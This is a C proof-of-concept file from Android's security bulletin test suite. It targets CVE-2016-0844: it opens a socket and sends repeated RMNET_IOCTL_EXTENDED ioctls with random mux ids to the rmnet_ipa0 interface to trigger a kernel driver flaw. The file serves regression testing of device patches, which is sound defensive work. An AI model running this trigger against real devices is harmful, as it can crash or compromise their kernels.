hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/poc.c

/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions vand
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include "local_poc.h"

#define WAN_IOC_MAGIC 0x69
#define WAN_IOCTL_ADD_FLT_RULE 0
#define WAN_IOCTL_ADD_FLT_INDEX 2
#define WAN_IOC_ADD_FLT_RULE                                                   \
  _IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_RULE,                                 \
        struct ipa_install_fltr_rule_req_msg_v01 *)

#define WAN_IOC_ADD_FLT_RULE_INDEX                                             \
  _IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_INDEX,                                \
        struct ipa_fltr_installed_notif_req_msg_v01 *)

int trigger(int sfd, char *ifname) {
  int ret;
  struct ifreq ifr;
  unsigned cmd = RMNET_IOCTL_EXTENDED;
  strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
  struct rmnet_ioctl_extended_s extendata;
  int i;
  ifr.ifr_ifru.ifru_data = &extendata;
  extendata.extended_ioctl = RMNET_IOCTL_ADD_MUX_CHANNEL;
  for (i = 0; i < 3; i++) {
    extendata.u.rmnet_mux_val.mux_id = rand();
    printf("[-] call ioctl %d\n", i);
    if (ioctl(sfd, cmd, &ifr) < 0) {
      printf("%s, %s\n", __func__, strerror(errno));
      ret = -1;
    }
  }

  return ret;
}

int main() {
  int sockfd;
  char *ifname = "rmnet_ipa0";

  srand(time(NULL));

  if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
    printf("socket = %d, %s\n", sockfd, strerror(errno));
    exit(1);
  }

  trigger(sockfd, ifname);
  return 0;
}